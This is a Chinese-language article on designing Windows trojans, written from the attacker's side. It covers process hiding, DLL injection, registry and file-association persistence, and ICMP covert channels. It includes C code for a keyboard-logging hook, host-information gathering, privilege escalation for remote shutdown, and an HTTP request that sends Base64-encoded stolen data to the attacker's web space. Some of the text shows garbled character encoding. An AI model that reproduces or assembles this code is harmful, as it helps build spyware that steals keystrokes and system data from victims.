引言
近年來,黑客攻擊層出不窮,對網(wǎng)絡安全構(gòu)成了極大的威脅。木馬是黑客的主要攻擊手段之一,它通過滲透進入對方主機系統(tǒng),從而實現(xiàn)對目標主機的遠程操作,破壞力相當之大。
到目前為止,木馬的發(fā)展已經(jīng)歷了五代:
第一代木馬只是實現(xiàn)簡單的密碼竊取、發(fā)送等,在隱藏和通信方面均無特別之處。
第二代木馬的典型代表是冰河,它以文件關聯(lián)方式啟動,通過電子郵件傳送信息,在木馬技術發(fā)展史上開辟了新的篇章。
第三代木馬的信息傳輸方式有所突破,采用ICMP協(xié)議,增加了查殺的難度。
第四代木馬在進程隱藏方面獲得了重大突破,采用插入內(nèi)核的嵌入方式、利用遠程插入線程技術、嵌入DLL線程、或掛接PSAPI等,實現(xiàn)木馬程序的隱藏,利用反彈端口技術突破防火墻限制,在Windows NT/2000下取得了良好的隱藏效果。
第五代木馬與病毒緊密結(jié)合,利用操作系統(tǒng)漏洞,直接實現(xiàn)感染傳播的目的,而不必象以前的木馬那樣需要欺騙用戶主動激活,例如最近新出現(xiàn)的類似沖擊波病毒的木馬—噩夢II。
木馬的關鍵技術
木馬基于C/S模式,服務器端程序運行于被控制的主機上,客戶端完成控制功能。設計木馬時,需考慮幾個關鍵因素:首先要具有深度的隱蔽性,保證木馬的隱蔽運行和啟動,其次要能順利實現(xiàn)客戶端與服務器端的通信,最后還要根據(jù)需要實現(xiàn)其他功能。
一、木馬的隱藏
有兩種方法可以隱藏木馬:一種是DLL 木馬,它讓木馬消失在進程列表里,但程序的進程仍然存在;另一種方法則是線程注入式木馬,它讓程序徹底消失,不以進程或服務方式工作。
1、DLL木馬
只要把木馬服務器端的程序注冊為一個服務,系統(tǒng)就不會再把它當作進程,程序便會從任務列表中消失,按下Ctrl+Alt+Delete后,也就看不到該程序。
此方法首先要裝載Kernel32.dll,然后在該DLL中確定函數(shù)RegisterServiceProcess()的地址進行調(diào)用,但只適用于Windows9x/Me的系統(tǒng),Windows NT/2000通過服務管理器依然能夠發(fā)現(xiàn)在系統(tǒng)中注冊過的服務。
在Windows NT/2000下可采用過濾進程的方法(即API攔截技術),通過建立一個后臺系統(tǒng)鉤子(hook),攔截PSAPI的EnumProcessModules等相關函數(shù)控制進程和服務的遍歷調(diào)用,當檢測到木馬程序的服務器端進程時直接跳過,從而實現(xiàn)進程的隱藏。這種方法應用廣泛,除了用于進程隱藏以外,還廣泛應用于諸多即時軟件,如金山詞霸就使用類似方法,攔截TextOutA、TextOutW函數(shù),截獲屏幕輸出,實現(xiàn)即時翻譯。
DLL文件是Windows的基礎,所有的API函數(shù)都是在DLL中實現(xiàn)的。DLL由多個功能函數(shù)構(gòu)成,入口函數(shù)是DllMain,它并不能獨立運行,一般由進程加載并調(diào)用。由于DLL文件不能獨立運行,所以在進程列表中并不會出現(xiàn)DLL,而只出現(xiàn)加載進程。運行DLL文件隱藏進程的最簡單方法是利用Rundll32.exe,但也很容易被識破,比較高級的做法是使用特洛伊DLL,它使用木馬DLL替換常用的DLL文件,通過函數(shù)轉(zhuǎn)發(fā)器將正常的調(diào)用轉(zhuǎn)發(fā)給原DLL,截獲并處理特定的消息。但是,WINDOWS操作系統(tǒng)對此具有相當?shù)姆婪叮琖in2000的system32目錄下有一個dllcache目錄,存放著大量的DLL文件(還包括一些重要的exe文件),一旦操作系統(tǒng)發(fā)現(xiàn)被保護的DLL文件被篡改,就會自動從dllcache中恢復該文件。此外,特洛伊DLL方法本身也存在一些漏洞(如修復安裝、安裝補丁、升級系統(tǒng)、檢查數(shù)字簽名等都可能導致特洛伊DLL失效),并不是DLL木馬的最優(yōu)選擇。盡管如此,仍有很多方法可以繞過DLL保護(如先更改dllcache目錄中的備份再修改DLL文件、或利用KnownDLLs鍵值更改DLL的默認啟動路徑等)。
2、線程注入式木馬
更好的隱藏方式是使木馬程序不以進程和服務的方式存在,而是完全溶入系統(tǒng)內(nèi)核。因此,在設計時,我們不應把它做成一個應用程序,而是做成一個可以注入應用程序地址空間的線程。該應用程序必須確保絕對安全,這樣才能達到徹底隱藏的效果,增加查殺的難度。線程注入式木馬采用動態(tài)嵌入技術將自己的代碼嵌入正在運行的進程中。
Windows中每個進程都有自己的私有內(nèi)存空間,其他進程不得對該私有空間進行操作,但實際上,有很多方法可操作私有空間。動態(tài)嵌入技術很多,如窗口Hook、掛接API、遠程線程等,遠程線程技術相對簡單,只要有基本的進程線程和動態(tài)鏈接庫的知識就可以輕松實現(xiàn)。
遠程線程技術指的是通過在一個遠程進程中創(chuàng)建遠程線程的方法進入該進程的內(nèi)存地址空間。可以通過CreateRemoteThread函數(shù)在一個遠程進程內(nèi)創(chuàng)建遠程線程,被創(chuàng)建的遠程線程可以共享遠程進程的地址空間,這樣就可以通過該線程進入遠程進程的內(nèi)存地址空間,從而擁有了遠程進程相當?shù)臋?quán)限,如在遠程進程內(nèi)部啟動一個DLL木馬,甚至可以隨意篡改其中的數(shù)據(jù)。遠程線程技術的關鍵在于要將線程函數(shù)執(zhí)行體及其參數(shù)復制到遠程進程空間中,否則遠程線程會在執(zhí)行時因找不到參數(shù)而報錯。
二、木馬服務器端程序的自加載運行
程序自運行的常見方法有:加載程序到啟動組;將程序啟動路徑寫到注冊表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run子鍵(以及RunOnce、RunService、RunOnceService等);修改Boot.ini;通過注冊表中的輸入法鍵值直接掛接啟動;修改Explorer.exe啟動參數(shù)以及在win.ini和system.ini中的load節(jié)中添加啟動項;在Autoexec.bat中添加程序等。
下面的程序通過修改注冊表中HKEY_LOCAL_MACHINE\ Microsoft\ SOFTWARE\Windows\CurrentVersions\Run的鍵值實現(xiàn)木馬的自啟動:
RegCreateKeyEx(
HKEY_LOCAL_MACHINE, // handle to open key
" SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN", // subkey
0,NULL, // class string
REG_OPTION_NON_VOLATILE, // special options
KEY_READ|KEY_WRITE, // desired security access
NULL,&mKeyClass,&dwDisposition // disposition value buffer
);
RegSetValueEx(mKeyClass,NULL,0,REG_SZ,
(const unsigned char *)Name, lstrlen(PathBuf)+1);
RegCloseKey(mKeyClass);
冰河木馬就采用了文件關聯(lián)實現(xiàn)木馬的啟動。以文本文件關聯(lián)為例,注冊表中HKEY_CLASSES_ROOT\txtfile\shell\open\command的值是文本文件(*.txt文件)的關聯(lián)處,缺省為“%SystemRoot%\system32\NOTEPAD.EXE %1”,將其改為木馬程序,那么,以后打開文本文件時就會先執(zhí)行木馬程序,木馬啟動后,再運行notepad.exe打開指定文件。這個過程在一般人來看,好像什么事也沒發(fā)生過。
DLL木馬替換了系統(tǒng)原有的動態(tài)連接庫,系統(tǒng)裝載這些連接庫時就啟動了木馬。這種啟動方式相當隱蔽,著名的GINA木馬就是通過替換系統(tǒng)的GINA程序,在木馬DLL中導出系統(tǒng)函數(shù),實現(xiàn)系統(tǒng)正常功能,然后再根據(jù)需要實現(xiàn)自身的木馬功能。
三、木馬程序的通信
木馬程序傳遞數(shù)據(jù)的方法很多,最常見是用TCP、UDP協(xié)議,但這種方法的隱蔽性比較差,容易查到,例如,用netstat命令就可以查看到當前活動的TCP、UDP連接。
但仍有很多手段躲避這種偵察,筆者曾嘗試過以下兩種方法:
一種方法是將木馬的通信連接綁定在通用端口上,通過這些服務端口發(fā)送信息。例如:將被攻擊主機的信息以電子郵件的形式傳送到攻擊者的電子信箱或上傳到某FTP主機上,也可用免費主頁空間作信息中轉(zhuǎn)站。利用FTP協(xié)議將信息上傳到FTP站點的做法很容易被跟蹤,利用SMTP協(xié)議將信息通過電子郵件方式回傳不易被反跟蹤,最多只能找到攻擊者信箱,但防火墻和一些殺毒軟件發(fā)現(xiàn)本地有郵件發(fā)送時,可能會將其屏蔽并提示用戶。利用HTTP協(xié)議上傳信息對攻擊者相當安全,防火墻無法分辨?zhèn)魉偷男畔⑹怯脩羯暇W(wǎng)瀏覽的交互信息還是木馬發(fā)送的個人信息,這種方法將在后面進行詳細介紹。但是,這些手段都要通過建立TCP連接傳遞命令和數(shù)據(jù)的,所以存在一個致命漏洞:木馬在等待和運行的過程中,始終有一個和外界聯(lián)系的端口打開著。
另一種辦法是使用ICMP協(xié)議。ICMP報文由系統(tǒng)內(nèi)核或進程直接處理而不通過端口,如果木馬將自己偽裝成一個Ping進程,系統(tǒng)就會將ICMP_ECHOREPLY(Ping的回應包)的監(jiān)聽、處理權(quán)交給木馬進程,一旦事先約定好的ICMP_ECHOREPLY包出現(xiàn)(這樣的包經(jīng)過修改ICMP包頭,加入了木馬的控制字段),木馬就會接受、分析并從報文中解析出命令和數(shù)據(jù)。防火墻一般不會對ICMP_ECHOREPLY報文進行過濾,因為過濾ICMP_ECHOREPLY報文就意味著主機無法對外進行Ping等路由診斷操作。
DLL木馬的功能實現(xiàn)
木馬的主要功能包括:獲取擊鍵記錄、獲取主機信息、上傳主機信息以及接受控制端命令遠程關機等。
1、在主程序中設置鉤子:
實現(xiàn)記錄按鍵的方法主要利用鍵盤鉤子和通過設計低層鍵盤驅(qū)動程序?qū)崿F(xiàn),使用鍵盤鉤子實現(xiàn)的代碼如下:
SetWindowsHookEx(WH_JOURNALRECORD,KeyboardProc,g_module,0);
其中KeyboardProc是回調(diào)函數(shù):
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
if(code<0) return CallNextHookEx(g_hLogHook,code,wParam,lParam);
if(code==HC_ACTION)
{
EVENTMSG *pEvt=(EVENTMSG *)lParam;
if(pEvt->message==WM_KEYDOWN)
{
…//判斷是否擊鍵,是則記錄到文件中
}
}
return CallNextHookEx(g_hLogHook,code,wParam,lParam);
}
2、獲取主機信息(包括主機名、IP地址、操作系統(tǒng)版本等):
WORD wVersionRequested = MAKEWORD(1, 1);
WSADATA wsaData;
WSAStartup(wVersionRequested, &wsaData);
char hostname[256];
int res = gethostname(hostname, sizeof(hostname)); //獲取主機名
hostent* pHostent = gethostbyname(hostname); //獲取主機IP地址
hostent& he = *pHostent;
sockaddr_in sa;
memcpy ( &sa.sin_addr.s_addr, he.h_addr_list[0],he.h_length);
lstrcpy(&MyIP[0] , inet_ntoa(sa.sin_addr));
WSACleanup();
dwVersion = GetVersion(); //得到WINDOWS的版本號
dwWindowsMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion)));
dwWindowsMinorVersion = (DWORD)(HIBYTE(LOWORD(dwVersion)));
if (dwVersion < 0x80000000) // 是Windows NT系統(tǒng)
dwBuild = (DWORD)(HIWORD(dwVersion));
else if (dwWindowsMajorVersion < 4) // 是Win32系統(tǒng)
dwBuild = (DWORD)(HIWORD(dwVersion) & ~0x8000);
else // 是Windows 95系統(tǒng)
dwBuild = 0;
3、遠程關機:
當木馬程序接收到關機命令時,執(zhí)行關機操作,需要提升權(quán)限,否則系統(tǒng)認為權(quán)限不夠?qū)⒔蛊鋱?zhí)行。
提升權(quán)限:
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if ( ! OpenProcessToken( GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
return;
LookupPrivilegeValue( NULL, SE_SHUTDOWN_NAME, &sedebugnameValue );
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) )
CloseHandle( hToken );
關機:
ExitWindowsEx(EWX_SHUTDOWN, 0);
4、上傳主機信息:
木馬獲取主機信息之后,將其回傳到攻擊者主機、郵箱或主頁空間。
上傳到主頁空間要使用HTTP協(xié)議,構(gòu)造協(xié)議包如下:
char header[1324]="GET HTTP://";
char html[]="HTTP/1.0\r\n Accept:*/*\r\nAccept-language:ZH-cn\r\n
User-Agent:Mozilla/4.0(compatible,MSIE,windows95)\r\nhost:";
char hend[]="\r\nproxy-connection:keep-alive\r\n\r\n";
然后填充信息:
lstrcat(header,hmyip[0]);// hmyip即為攻擊者的主頁空間地址
lstrcat(header,"/cgi-bin/fh.cgi?");
lstrcat(header,str); //str就是要上傳的信息,需要先經(jīng)過Base64編碼
lstrcat(header,html);
lstrcat(header,hmyip[0]);
lstrcat(header,hend);
構(gòu)造好協(xié)議包之后,利用socket通信將該包發(fā)給服務器即可。這種方法安全隱蔽,防火墻無法判斷出傳送的數(shù)據(jù)是否合法。
5、新的傳播方式:以往的木馬在傳播方式上缺乏十分有效的手段,主要利用社會工程學知識誘騙用戶點擊鏈接,或?qū)⒛抉R程序與其他程序捆綁在一起,欺騙用戶執(zhí)行程序。隨著人們安全意識的不斷提高,這種方法已經(jīng)越來越難奏效。病毒的傳播方式啟發(fā)木馬的設計者利用操作系統(tǒng)漏洞(如WINDOWS系統(tǒng)下的緩沖區(qū)溢出漏洞),將木馬代碼寫入SHELLCODE,只要通過遠程向目標主機發(fā)送一個數(shù)據(jù)包,目標主機就會發(fā)生緩沖區(qū)溢出,代碼跳轉(zhuǎn)執(zhí)行SHELLCODE,將木馬植入目標主機,無需用戶介入。沖擊波病毒就是利用了WINDOWS系統(tǒng)的RPC漏洞。
結(jié)束語
“道高一尺、魔高一丈”,攻擊與防御是相輔相承的關系,攻擊手段的進步最終必然導致防御技術的提高,而為了突破防御能力增強的系統(tǒng),攻擊者又會找到新的攻擊方式,木馬技術也將隨之得以不斷的擴充和發(fā)展。